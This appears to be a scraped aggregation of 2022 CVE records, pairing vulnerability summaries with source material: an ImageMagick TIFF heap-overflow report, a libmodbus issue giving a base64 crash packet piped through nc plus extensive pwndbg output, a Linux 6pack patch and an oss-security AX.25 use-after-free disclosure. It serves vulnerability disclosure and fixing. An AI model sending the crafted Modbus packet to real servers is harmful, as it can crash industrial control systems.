A use-after-free flaw was found in fs/ext4/namei.c:dx_insert_block() in the Linux kernel’s filesystem sub-component. This flaw allows a local attacker with a user privilege to cause a denial of service.

'2070205?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2022-1184: Invalid Bug ID

A heap-buffer-overflow flaw was found in ImageMagick’s PushShortPixel() function of quantum-private.h file. This vulnerability is triggered when an attacker passes a specially crafted TIFF image file to ImageMagick for conversion, potentially leading to a denial of service.

**ImageMagick version**

7.1.0-28

**Operating system**

Linux

**Operating system, version and so on**

OS: Ubuntu 20.04.3 LTS  
Version: ImageMagick 7.1.0-28 Q16-HDRI x86\_64 2022-03-04 https://imagemagick.org  
Copyright: (C) 1999 ImageMagick Studio LLC  
License: https://imagemagick.org/script/license.php  
Features: Cipher DPC HDRI  
Delegates (built-in): bzlib fontconfig freetype jbig jng jpeg lzma pangocairo png tiff x xml zlib  
Compiler: gcc (4.2)

**Description**

Hello,  
We found a heap overflow vulnerability in magick

**Steps to Reproduce**

build it  
CC=afl-clang-lto CXX=afl-clang-lto++ CFLAGS="-g -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="-g -fsanitize=address -fno-omit-frame-pointer" LDFLAGS="-g -fsanitize=address -fno-omit-frame-pointer" ./configure --disable-shared --prefix="/root/fuzz/target/imagemagick/ImageMagick/install"

AFL_USE_ASAN=1 make -j24 && make install -j24

run it  
./magick convert poc /dev/null  
output

\=================================================================  
\==1195823==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61900000181c at pc 0x000000cd5328 bp 0x7ffdacd61fa0 sp 0x7ffdacd61f98  
READ of size 1 at 0x61900000181c thread T0  
#0 0xcd5327 in PushShortPixel /root/fuzz/target/image\_magick/ImageMagick/./MagickCore/quantum-private.h  
#1 0xcd5327 in ImportRGBAQuantum /root/fuzz/target/image\_magick/ImageMagick/MagickCore/quantum-import.c:4232:15  
#2 0xcd5327 in ImportQuantumPixels /root/fuzz/target/image\_magick/ImageMagick/MagickCore/quantum-import.c:4780:7  
#3 0x13e73f2 in ReadTIFFImage /root/fuzz/target/imagemagick/ImageMagick/coders/tiff.c:2052:24  
#4 0x6f9981 in ReadImage /root/fuzz/target/image\_magick/ImageMagick/MagickCore/constitute.c:728:15  
#5 0x6fe991 in ReadImages /root/fuzz/target/image\_magick/ImageMagick/MagickCore/constitute.c:1075:9  
#6 0x157caa5 in ConvertImageCommand /root/fuzz/target/imagemagick/ImageMagick/MagickWand/convert.c:614:18  
#7 0x17191fd in MagickCommandGenesis /root/fuzz/target/imagemagick/ImageMagick/MagickWand/mogrify.c:188:14  
#8 0x580b89 in MagickMain /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:150:10  
#9 0x580b89 in main /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:182:10  
#10 0x7f499b68b0b2 in \_\_libc\_start\_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16  
#11 0x4ce36d in \_start (/root/fuzz/target/imagemagick/ImageMagick/install/bin/magick+0x4ce36d)

0x61900000181c is located 10 bytes to the right of 914-byte region \[0x619000001480,0x619000001812)  
allocated by thread T0 here:  
#0 0x54ab1d in malloc (/root/fuzz/target/imagemagick/ImageMagick/install/bin/magick+0x54ab1d)  
#1 0x13e6faf in ReadTIFFImage /root/fuzz/target/imagemagick/ImageMagick/coders/tiff.c:1996:39  
#2 0x6f9981 in ReadImage /root/fuzz/target/image\_magick/ImageMagick/MagickCore/constitute.c:728:15  
#3 0x6fe991 in ReadImages /root/fuzz/target/image\_magick/ImageMagick/MagickCore/constitute.c:1075:9  
#4 0x157caa5 in ConvertImageCommand /root/fuzz/target/imagemagick/ImageMagick/MagickWand/convert.c:614:18  
#5 0x17191fd in MagickCommandGenesis /root/fuzz/target/imagemagick/ImageMagick/MagickWand/mogrify.c:188:14  
#6 0x580b89 in MagickMain /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:150:10  
#7 0x580b89 in main /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:182:10  
#8 0x7f499b68b0b2 in \_\_libc\_start\_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/fuzz/target/image\_magick/ImageMagick/./MagickCore/quantum-private.h in PushShortPixel  
Shadow bytes around the buggy address:  
0x0c327fff82b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c327fff82c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c327fff82d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c327fff82e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c327fff82f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
\=>0x0c327fff8300: 00 00 02\[fa\]fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c327fff8310: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c327fff8320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c327fff8330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c327fff8340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c327fff8350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
Shadow byte legend (one shadow byte represents 8 application bytes):  
Addressable: 00  
Partially addressable: 01 02 03 04 05 06 07  
Heap left redzone: fa  
Freed heap region: fd  
Stack left redzone: f1  
Stack mid redzone: f2  
Stack right redzone: f3  
Stack after return: f5  
Stack use after scope: f8  
Global redzone: f9  
Global init order: f6  
Poisoned by user: f7  
Container overflow: fc  
Array cookie: ac  
Intra object redzone: bb  
ASan internal: fe  
Left alloca redzone: ca  
Right alloca redzone: cb  
\==1195823==ABORTING

**Images**

poc.zip

CVE-2022-1115: heap-buffer-overflow in magick at quantum-private.h PushShortPixel · Issue #4974 · ImageMagick/ImageMagick

A flaw was found in the filelock_init in fs/locks.c function in the Linux kernel. This issue can lead to host memory exhaustion due to memcg not limiting the number of Portable Operating System Interface (POSIX) file locks.

'2049700?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2022-0480: Invalid Bug ID

A use-after-free flaw was found in the Linux kernel’s PLP Rose functionality in the way a user triggers a race condition by calling bind while simultaneously triggering the rose_bind() function. This flaw allows a local user to crash or potentially escalate their privileges on the system.

**Red Hat Product Security Center**

Engage with our Red Hat Product Security team, access security updates, and ensure your environments are not exposed to any known security vulnerabilities.

Product Security Center

CVE-2022-2961: Red Hat Customer Portal - Access to 24x7 support and knowledge

A heap-based buffer overflow flaw was found in libmodbus in function modbus_reply() in src/modbus.c.

**libmodbus version**

ebc4f47

**OS and/or distribution**

Ubuntu 20.04 focal

**Environment**

,AMD EPYC 7742 64-Core @ 16x 2.25GHz

**Description**

Heap-based Buffer Overflow in \_modbus\_receive\_msg

**Expected behaviour**

no crash.

**Actual behaviour**

double free or corruption (!prev)

**Steps to reproduce the behavior (commands or source code)**

libmodbus/tests/unit-test-server.c

    ./unit-test-server
    echo "A90AAAAN/xcBYgABAIQAAQLXEQ==" | base64 -d | nc 127.0.0.1 1502
    

    pwndbg> c
    Continuing.
    The client connection from 127.0.0.1 is accepted
    Waiting for an indication...
    <03><DD><00><00><00><0D><FF><17><01><62><00><01><00><84><00><01><02><D7><11>
    
    Breakpoint 3, modbus_reply (ctx=0x5555555592a0, req=0x555555559320 <incomplete sequence \335>, req_length=<optimized out>, mb_mapping=<optimized out>) at modbus.c:979
    979                      i < mapping_address_write + nb_write; i++, j += 2) {
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    ────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────
    *RAX  0x8
    *RBX  0x7
    *RCX  0x555555559430 ◂— 0x13000000025 /* '%' */
    *RDX  0x2
    *RDI  0x7fffffffde64 ◂— 0x17000000ff
    *RSI  0x7fffffffde70 ◂— 0x17ff7fff0000dd03
    *R8   0x0
    *R9   0x0
    *R10  0x2
    *R11  0xffffff24
    *R12  0xff
    *R13  0x5555555592a0 ◂— 0x4000000ff
    *R14  0x9
    *R15  0x7fffffffde70 ◂— 0x17ff7fff0000dd03
    *RBP  0x555555559320 ◂— 0x17ff0d000000dd03
    *RSP  0x7fffffffde20 ◂— 0x3
    *RIP  0x7ffff7fbda62 (modbus_reply+1250) ◂— jle    0x7ffff7fbdaa1
    ──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
     ► 0x7ffff7fbda62 <modbus_reply+1250>    jle    modbus_reply+1313                <modbus_reply+1313>
    
       0x7ffff7fbda64 <modbus_reply+1252>    mov    r8d, dword ptr [rsp + 0x34]
       0x7ffff7fbda69 <modbus_reply+1257>    movsxd rdi, r11d
       0x7ffff7fbda6c <modbus_reply+1260>    lea    rdx, [rbx + 2]
       0x7ffff7fbda70 <modbus_reply+1264>    add    rdi, rdi
       0x7ffff7fbda73 <modbus_reply+1267>    sub    rdi, rbx
       0x7ffff7fbda76 <modbus_reply+1270>    lea    rsi, [rdx + r8*2]
       0x7ffff7fbda7a <modbus_reply+1274>    add    rdi, qword ptr [rcx + 0x38]
       0x7ffff7fbda7e <modbus_reply+1278>    jmp    modbus_reply+1284                <modbus_reply+1284>
        ↓
       0x7ffff7fbda84 <modbus_reply+1284>    movzx  eax, byte ptr [rbp + rbx + 0xa]
       0x7ffff7fbda89 <modbus_reply+1289>    movzx  r8d, byte ptr [rbp + rbx + 0xb]
    ──────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────
    In file: /home/aidai/fuzzing/libmodbus/test/libmodbus/src/modbus.c
       974             rsp[rsp_length++] = nb << 1;
       975
       976             /* Write first.
       977                10 and 11 are the offset of the first values to write */
       978             for (i = mapping_address_write, j = 10;
     ► 979                  i < mapping_address_write + nb_write; i++, j += 2) {
       980                 mb_mapping->tab_registers[i] =
       981                     (req[offset + j] << 8) + req[offset + j + 1];
       982             }
       983
       984             /* and read the data for the response */
    ──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
    00:0000│ rsp 0x7fffffffde20 ◂— 0x3
    01:0008│     0x7fffffffde28 ◂— 0x5555ffffff25
    02:0010│     0x7fffffffde30 ◂— 0x7fff00000008
    03:0018│     0x7fffffffde38 ◂— 0x8
    04:0020│     0x7fffffffde40 ◂— 0x200000001
    05:0028│     0x7fffffffde48 —▸ 0x555555559430 ◂— 0x13000000025 /* '%' */
    06:0030│     0x7fffffffde50 ◂— 0xffffff24
    07:0038│     0x7fffffffde58 ◂— 0x1300000000
    ────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
     ► f 0   0x7ffff7fbda62 modbus_reply+1250
       f 1   0x555555555734 main+692
       f 2   0x7ffff7dd80b3 __libc_start_main+243
    ──────────────────────────────────────────────────────────────────────────────────────────────────────
    pwndbg> bt
    #0  modbus_reply (ctx=0x5555555592a0, req=0x555555559320 <incomplete sequence \335>, req_length=<optimized out>, mb_mapping=<optimized out>) at modbus.c:979
    #1  0x0000555555555734 in main (argc=argc@entry=1, argv=argv@entry=0x7fffffffe128) at unit-test-server.c:183
    #2  0x00007ffff7dd80b3 in __libc_start_main (main=0x555555555480 <main>, argc=1, argv=0x7fffffffe128, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe118) at ../csu/libc-start.c:308
    #3  0x0000555555555a0e in _start ()
    pwndbg> x/10gx 0x555555559310-0x10
    0x555555559300: 0x000005de00000000      0x2e302e302e373231
    0x555555559310: 0x0000000000000031      0x0000000000000111
    0x555555559320: 0x17ff0d000000dd03      0x0100840001006201
    0x555555559330: 0x000000000011d702      0x0000000000000000
    0x555555559340: 0x0000000000000000      0x0000000000000000
    pwndbg> c
    Continuing.
    
    Hardware watchpoint 2: *0x555555559318
    
    Old value = 273
    New value = 55057
    modbus_reply (ctx=0x5555555592a0, req=0x555555559320 <incomplete sequence \335>, req_length=<optimized out>, mb_mapping=<optimized out>) at modbus.c:979
    979                      i < mapping_address_write + nb_write; i++, j += 2) {
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    ────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────
    *RAX  0xd711
     RBX  0x7
     RCX  0x555555559430 ◂— 0x13000000025 /* '%' */
    *RDX  0x9
    *RDI  0x555555559311 ◂— 0x1100000000000000
    *RSI  0x9
    *R8   0x11
     R9   0x0
     R10  0x2
     R11  0xffffff24
     R12  0xff
     R13  0x5555555592a0 ◂— 0x4000000ff
     R14  0x9
     R15  0x7fffffffde70 ◂— 0x17ff7fff0000dd03
     RBP  0x555555559320 ◂— 0x17ff0d000000dd03
     RSP  0x7fffffffde20 ◂— 0x3
    *RIP  0x7ffff7fbda99 (modbus_reply+1305) ◂— mov    rbx, rdx
    ──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
       0x7ffff7fbda84 <modbus_reply+1284>    movzx  eax, byte ptr [rbp + rbx + 0xa]
       0x7ffff7fbda89 <modbus_reply+1289>    movzx  r8d, byte ptr [rbp + rbx + 0xb]
       0x7ffff7fbda8f <modbus_reply+1295>    shl    eax, 8
       0x7ffff7fbda92 <modbus_reply+1298>    add    eax, r8d
       0x7ffff7fbda95 <modbus_reply+1301>    mov    word ptr [rdi + rbx], ax
     ► 0x7ffff7fbda99 <modbus_reply+1305>    mov    rbx, rdx
       0x7ffff7fbda9c <modbus_reply+1308>    cmp    rsi, rdx
       0x7ffff7fbda9f <modbus_reply+1311>    jne    modbus_reply+1280                <modbus_reply+1280>
    
       0x7ffff7fbdaa1 <modbus_reply+1313>    cmp    dword ptr [rsp], r10d
       0x7ffff7fbdaa5 <modbus_reply+1317>    jle    modbus_reply+239                <modbus_reply+239>
    
       0x7ffff7fbdaab <modbus_reply+1323>    mov    rdx, qword ptr [rcx + 0x38]
    ──────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────
    In file: /home/aidai/fuzzing/libmodbus/test/libmodbus/src/modbus.c
       974             rsp[rsp_length++] = nb << 1;
       975
       976             /* Write first.
       977                10 and 11 are the offset of the first values to write */
       978             for (i = mapping_address_write, j = 10;
     ► 979                  i < mapping_address_write + nb_write; i++, j += 2) {
       980                 mb_mapping->tab_registers[i] =
       981                     (req[offset + j] << 8) + req[offset + j + 1];
       982             }
       983
       984             /* and read the data for the response */
    ──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
    00:0000│ rsp 0x7fffffffde20 ◂— 0x3
    01:0008│     0x7fffffffde28 ◂— 0x5555ffffff25
    02:0010│     0x7fffffffde30 ◂— 0x7fff00000008
    03:0018│     0x7fffffffde38 ◂— 0x8
    04:0020│     0x7fffffffde40 ◂— 0x200000001
    05:0028│     0x7fffffffde48 —▸ 0x555555559430 ◂— 0x13000000025 /* '%' */
    06:0030│     0x7fffffffde50 ◂— 0xffffff24
    07:0038│     0x7fffffffde58 ◂— 0x1300000000
    ────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
     ► f 0   0x7ffff7fbda99 modbus_reply+1305
       f 1   0x555555555734 main+692
       f 2   0x7ffff7dd80b3 __libc_start_main+243
    ──────────────────────────────────────────────────────────────────────────────────────────────────────
    pwndbg> x/10gx 0x555555559310-0x10
    0x555555559300: 0x000005de00000000      0x2e302e302e373231
    0x555555559310: 0x0000000000000031      0x000000000000d711
    0x555555559320: 0x17ff0d000000dd03      0x0100840001006201
    0x555555559330: 0x000000000011d702      0x0000000000000000
    0x555555559340: 0x0000000000000000      0x0000000000000000
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x555555559000
    Size: 0x291
    
    Allocated chunk | PREV_INUSE
    Addr: 0x555555559290
    Size: 0x61
    
    Allocated chunk | PREV_INUSE
    Addr: 0x5555555592f0
    Size: 0x21
    
    Allocated chunk | PREV_INUSE
    Addr: 0x555555559310
    Size: 0xd711
    
    Allocated chunk
    Addr: 0x555555566a20
    Size: 0x00
    

then, ctrl+c close the nc.

    pwndbg> c
    Continuing.
    [03][DD][00][00][00][05][FF][17][02][00][00]
    Waiting for an indication...
    ERROR Connection reset by peer: read
    Quit the loop: Connection reset by peer
    double free or corruption (!prev)
    
    Program received signal SIGABRT, Aborted.
    __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
    50      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    ────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────
    *RAX  0x0
    *RBX  0x7ffff7dae740 ◂— 0x7ffff7dae740
    *RCX  0x7ffff7df718b (raise+203) ◂— mov    rax, qword ptr [rsp + 0x108]
    *RDX  0x0
    *RDI  0x2
    *RSI  0x7fffffffdbd0 ◂— 0x0
    *R8   0x0
    *R9   0x7fffffffdbd0 ◂— 0x0
    *R10  0x8
    *R11  0x246
    *R12  0x7fffffffde40 ◂— 0x2
    *R13  0x10
    *R14  0x7ffff7ffb000 ◂— 0x62756f6400001000
    *R15  0x1
    *RBP  0x7fffffffdf20 —▸ 0x7ffff7f9cb80 (main_arena) ◂— 0x0
    *RSP  0x7fffffffdbd0 ◂— 0x0
    *RIP  0x7ffff7df718b (raise+203) ◂— mov    rax, qword ptr [rsp + 0x108]
    ──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
     ► 0x7ffff7df718b <raise+203>    mov    rax, qword ptr [rsp + 0x108]
       0x7ffff7df7193 <raise+211>    xor    rax, qword ptr fs:[0x28]
       0x7ffff7df719c <raise+220>    jne    raise+260                <raise+260>
        ↓
       0x7ffff7df71c4 <raise+260>    call   __stack_chk_fail                <__stack_chk_fail>
    
       0x7ffff7df71c9                nop    dword ptr [rax]
       0x7ffff7df71d0 <killpg>       endbr64
       0x7ffff7df71d4 <killpg+4>     test   edi, edi
       0x7ffff7df71d6 <killpg+6>     js     killpg+16                <killpg+16>
    
       0x7ffff7df71d8 <killpg+8>     neg    edi
       0x7ffff7df71da <killpg+10>    jmp    kill                <kill>
    
       0x7ffff7df71df <killpg+15>    nop
    ──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
    00:0000│ rsi r9 rsp 0x7fffffffdbd0 ◂— 0x0
    01:0008│            0x7fffffffdbd8 ◂— 0x0
    02:0010│            0x7fffffffdbe0 ◂— 0x2f2f2f2f2f2f2f2f ('////////')
    03:0018│            0x7fffffffdbe8 —▸ 0x7ffff7dc61e0 ◂— 0x10001200001694
    04:0020│            0x7fffffffdbf0 —▸ 0x7fffffffdf90 —▸ 0x5555555592a0 ◂— 0x4000000ff
    05:0028│            0x7fffffffdbf8 —▸ 0x7ffff7fe7c2e ◂— mov    r11, rax
    06:0030│            0x7fffffffdc00 ◂— 0x0
    07:0038│            0x7fffffffdc08 —▸ 0x7ffff7ec2987 (close+23) ◂— cmp    rax, -0x1000 /* 'H=' */
    ────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
     ► f 0   0x7ffff7df718b raise+203
       f 1   0x7ffff7dd6859 abort+299
       f 2   0x7ffff7e413ee __libc_message+670
       f 3   0x7ffff7e4947c
       f 4   0x7ffff7e4b12c _int_free+1900
       f 5   0x555555555783 main+771
       f 6   0x7ffff7dd80b3 __libc_start_main+243
    ──────────────────────────────────────────────────────────────────────────────────────────────────────
    pwndbg>
    

**libmodbus output with debug mode enabled**

    ./unit-test-server
    The client connection from 127.0.0.1 is accepted
    Waiting for an indication...
    <03><DD><00><00><00><0D><FF><17><01><62><00><01><00><84><00><01><02><D7><11>
    [03][DD][00][00][00][05][FF][17][02][00][00]
    Waiting for an indication...
    ERROR Connection reset by peer: read
    Quit the loop: Connection reset by peer
    double free or corruption (!prev)
    [1]    3966417 abort      ./unit-test-server

CVE-2022-0367: Heap-based Buffer Overflow in modbus_reply · Issue #614 · stephane/libmodbus

A use-after-free vulnerabilitity was discovered in drivers/net/hamradio/6pack.c of linux that allows an attacker to crash linux kernel by simulating ax25 device using 6pack driver from user space.

Permalink

Browse files

drivers: hamradio: 6pack: fix UAF bug caused by mod\_timer()

When a 6pack device is detaching, the sixpack\_close() will act to cleanup
necessary resources. Although del\_timer\_sync() in sixpack\_close()
won't return if there is an active timer, one could use mod\_timer() in
sp\_xmit\_on\_air() to wake up timer again by calling userspace syscall such
as ax25\_sendmsg(), ax25\_connect() and ax25\_ioctl().

This unexpected waked handler, sp\_xmit\_on\_air(), realizes nothing about
the undergoing cleanup and may still call pty\_write() to use driver layer
resources that have already been released.

One of the possible race conditions is shown below:

      (USE)                      |      (FREE)
ax25\_sendmsg()                   |
 ax25\_queue\_xmit()               |
  ...                            |
  sp\_xmit()                      |
   sp\_encaps()                   | sixpack\_close()
    sp\_xmit\_on\_air()             |  del\_timer\_sync(&sp->tx\_t)
     mod\_timer(&sp->tx\_t,...)    |  ...
                                 |  unregister\_netdev()
                                 |  ...
     (wait a while)              | tty\_release()
                                 |  tty\_release\_struct()
                                 |   release\_tty()
    sp\_xmit\_on\_air()             |    tty\_kref\_put(tty\_struct) //FREE
     pty\_write(tty\_struct) //USE |    ...

The corresponding fail log is shown below:
===============================================================
BUG: KASAN: use-after-free in \_\_run\_timers.part.0+0x170/0x470
Write of size 8 at addr ffff88800a652ab8 by task swapper/2/0
...
Call Trace:
  ...
  queue\_work\_on+0x3f/0x50
  pty\_write+0xcd/0xe0pty\_write+0xcd/0xe0
  sp\_xmit\_on\_air+0xb2/0x1f0
  call\_timer\_fn+0x28/0x150
  \_\_run\_timers.part.0+0x3c2/0x470
  run\_timer\_softirq+0x3b/0x80
  \_\_do\_softirq+0xf1/0x380
  ...

This patch reorders the del\_timer\_sync() after the unregister\_netdev()
to avoid UAF bugs. Because the unregister\_netdev() is well synchronized,
it flushs out any pending queues, waits the refcount of net\_device
decreases to zero and removes net\_device from kernel. There is not any
running routines after executing unregister\_netdev(). Therefore, we could
not arouse timer from userspace again.

Signed-off-by: Duoming Zhou <duoming@zju.edu.cn>
Reviewed-by: Lin Ma <linma@zju.edu.cn>
Signed-off-by: David S. Miller <davem@davemloft.net>

*   Loading branch information

CVE-2022-1198: drivers: hamradio: 6pack: fix UAF bug caused by mod_timer() · torvalds/linux@efe4186

An information leak flaw was found in NFS over RDMA in the net/sunrpc/xprtrdma/rpc_rdma.c in the Linux Kernel. This flaw allows an attacker with normal user privileges to leak kernel information.

CVE-2022-0812: Red Hat Customer Portal - Access to 24x7 support and knowledge

A use-after-free flaw was found in the Linux kernel’s Amateur Radio AX.25 protocol functionality in the way a user connects with the protocol. This flaw allows a local user to crash the system.

*   Products
    *   Openwall GNU/\*/Linux   _server OS_
    *   Linux Kernel Runtime Guard
    *   John the Ripper   _password cracker_
        *   Free & Open Source for any platform
        *   in the cloud
        *   Pro for Linux
        *   Pro for macOS
    *   Wordlists   _for password cracking_
    *   passwdqc   _policy enforcement_
        *   Free & Open Source for Unix
        *   Pro for Windows (Active Directory)
    *   yescrypt   _KDF & password hashing_
    *   yespower   _Proof-of-Work (PoW)_
    *   crypt\_blowfish   _password hashing_
    *   phpass   _ditto in PHP_
    *   tcb   _better password shadowing_
    *   Pluggable Authentication Modules
    *   scanlogd   _port scan detector_
    *   popa3d   _tiny POP3 daemon_
    *   blists   _web interface to mailing lists_
    *   msulogin   _single user mode login_
    *   php\_mt\_seed   _mt\_rand() cracker_
*   Services
*   Publications
    *   Articles
    *   Presentations
*   Resources
    *   Mailing lists
    *   Community wiki
    *   Source code repositories (GitHub)
    *   Source code repositories (CVSweb)
    *   File archive & mirrors
    *   How to verify digital signatures
    *   OVE IDs
*   What's new

\[<prev\] \[next>\] \[day\] \[month\] \[year\] \[list\]

Date: Sat, 2 Apr 2022 14:53:10 +0800 (GMT+08:00)
From: 周多明 <duoming@....edu.cn>
To: oss-security@...ts.openwall.com
Subject: CVE-2022-1204: Linux kernel: UAF caused by binding operation when
 ax25 device is detaching

Hello there,

There are use-after-free vulnerabilities in net/ax25/af\_ax25.c of linux that allow 
attacker to crash linux kernel by simulating ax25 device from user space.

=\*=\*=\*=\*=\*=\*=\*=\*=  Bug Details  =\*=\*=\*=\*=\*=\*=\*=\*=

The resources such as ax25\_dev and net\_device will be freed in ax25\_dev\_device\_down(),
if we call ax25\_bind() between ax25\_kill\_by\_device() and kfree() in ax25\_dev\_device\_down(),
we could use ax25\_dev in functions such as ax25\_bind() ax25\_release(), ax25\_connect(),
ax25\_ioctl(), ax25\_getname(), ax25\_sendmsg(), ax25\_getsockopt() and ax25\_info\_show() after
ax25\_dev has been deallocated, and use net\_device in functions such as ax25\_release(),
ax25\_sendmsg(), ax25\_getsockopt(), ax25\_getname() and ax25\_info\_show() after net\_device
has been deallocated.

One of the concurrency UAF related with ax25\_dev in ax25\_bind() can be shown as below:

       (USE)                  |     (FREE)
                              |  ax25\_device\_event
                              |    ax25\_dev\_device\_down
ax25\_bind                     |    ...
  ...                         |      kfree(ax25\_dev)
  ax25\_fillin\_cb()            |    ...
    ax25\_fillin\_cb\_from\_dev() |
  ...                         |

One of the concurrency UAF related with net\_device in ax25\_release() can be shown as below:

          (USE)                   |      (FREE)
                                  |  ax25\_kill\_by\_device()
    ax25\_bind()                   |
    ax25\_connect()                |    ...
                                  |  ax25\_dev\_device\_down()
                                  |    ...
                                  |    dev\_put\_track(dev, ...) //FREE
    ax25\_release()                |    ...
      ax25\_send\_control()         |
        alloc\_skb()      //USE    |

=\*=\*=\*=\*=\*=\*=\*=\*=  Bug Effects  =\*=\*=\*=\*=\*=\*=\*=\*=

We can successfully trigger the vulnerabilities to crash the linux kernel.

(1) One of the use-after-free bug backtraces related with ax25\_dev is shown below.

\[  208.136725\] BUG: KASAN: use-after-free in ax25\_send\_control+0x3c/0x210
\[  208.136725\] Read of size 8 at addr ffff888007c4ad08 by task ax25\_co\_rel/3072
\[  208.136725\] Call Trace:
\[  208.136725\]  dump\_stack+0x7d/0xa3
\[  208.136725\]  print\_address\_description.constprop.0+0x18/0x130
\[  208.136725\]  ? ax25\_send\_control+0x3c/0x210
\[  208.136725\]  ? ax25\_send\_control+0x3c/0x210
\[  208.136725\]  kasan\_report.cold+0x7f/0x10e
\[  208.136725\]  ? \_raw\_write\_lock\_bh+0x80/0xd0
\[  208.136725\]  ? ax25\_send\_control+0x3c/0x210
\[  208.136725\]  ax25\_send\_control+0x3c/0x210
\[  208.136725\]  ax25\_release+0x2db/0x3b0
\[  208.136725\]  \_\_sock\_release+0x6d/0x120
\[  208.136725\]  sock\_close+0xc/0x10
\[  208.136725\]  \_\_fput+0x104/0x3b0
\[  208.136725\]  task\_work\_run+0x8f/0xd0
\[  208.136725\]  get\_signal+0xbae/0xc00
\[  208.136725\]  ? ax25\_connect+0x3c1/0x800
\[  208.136725\]  arch\_do\_signal\_or\_restart+0x1d9/0xc70
\[  208.136725\]  ? wait\_woken+0x110/0x110
\[  208.136725\]  ? selinux\_netlbl\_socket\_connect+0x26/0x30
\[  208.136725\]  ? kick\_process+0x12/0x80
\[  208.136725\]  ? task\_work\_add+0xcd/0xe0
\[  208.136725\]  ? restore\_sigcontext+0x320/0x320
\[  208.136725\]  ? \_\_sys\_connect+0x108/0x120
\[  208.136725\]  ? \_\_sys\_connect\_file+0xc0/0xc0
\[  208.136725\]  ? common\_nsleep+0x5a/0x70
\[  208.136725\]  ? copy\_init\_fpstate\_to\_fpregs+0x60/0x60
\[  208.136725\]  ? \_\_ia32\_sys\_clock\_adjtime+0x30/0x30
\[  208.136725\]  exit\_to\_user\_mode\_prepare+0xaa/0x120
\[  208.136725\]  syscall\_exit\_to\_user\_mode+0x1d/0x40
\[  208.136725\]  entry\_SYSCALL\_64\_after\_hwframe+0x44/0xa9
\[  208.136725\] RIP: 0033:0x7fa754c17d2b
\[  208.136725\] Code: 83 ec 18 89 54 24 0c 48 89 34 24 89 7c 24 08 e8 fb fa ff ff 8b 54 24 0c 48 8b 34 24 41 89 c0 8b 7c 24 08 b8 2a 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 2f 44 89 c7 89 44 24 08 e8 31 fb ff ff 8b 44
\[  208.136725\] RSP: 002b:00007fa5dfd26ee0 EFLAGS: 00000293 ORIG\_RAX: 000000000000002a
\[  208.136725\] RAX: fffffffffffffe00 RBX: 0000000000000000 RCX: 00007fa754c17d2b
\[  208.136725\] RDX: 0000000000000010 RSI: 00000000006021c0 RDI: 0000000000000005
\[  208.136725\] RBP: 00007fa5dfd26f00 R08: 0000000000000000 R09: 00007fa5dfd27700
\[  208.136725\] R10: 0000000000000000 R11: 0000000000000293 R12: 00007ffc91618f7e
\[  208.136725\] R13: 00007ffc91618f7f R14: 00007fa5dfd26fc0 R15: 00007fa5dfd27700
\[  208.136725\] 
\[  208.136725\] Allocated by task 3070:
\[  208.136725\]  kasan\_save\_stack+0x1b/0x40
\[  208.136725\]  \_\_\_\_kasan\_kmalloc.constprop.0+0x84/0xa0
\[  208.136725\]  ax25\_dev\_device\_up+0x27/0x1a0
\[  208.136725\]  ax25\_device\_event+0x12d/0x160
\[  208.136725\]  raw\_notifier\_call\_chain+0x5e/0x70
\[  208.136725\]  \_\_dev\_notify\_flags+0xbf/0x180
\[  208.136725\]  dev\_change\_flags+0x92/0xb0
\[  208.136725\]  devinet\_ioctl+0x92f/0xbd0
\[  208.136725\]  inet\_ioctl+0x259/0x290
\[  208.136725\]  sock\_do\_ioctl+0xa8/0x1e0
\[  208.136725\]  sock\_ioctl+0x2ee/0x3f0
\[  208.136725\]  \_\_x64\_sys\_ioctl+0xb4/0xf0
\[  208.136725\]  do\_syscall\_64+0x33/0x40
\[  208.136725\]  entry\_SYSCALL\_64\_after\_hwframe+0x44/0xa9
\[  208.136725\] 
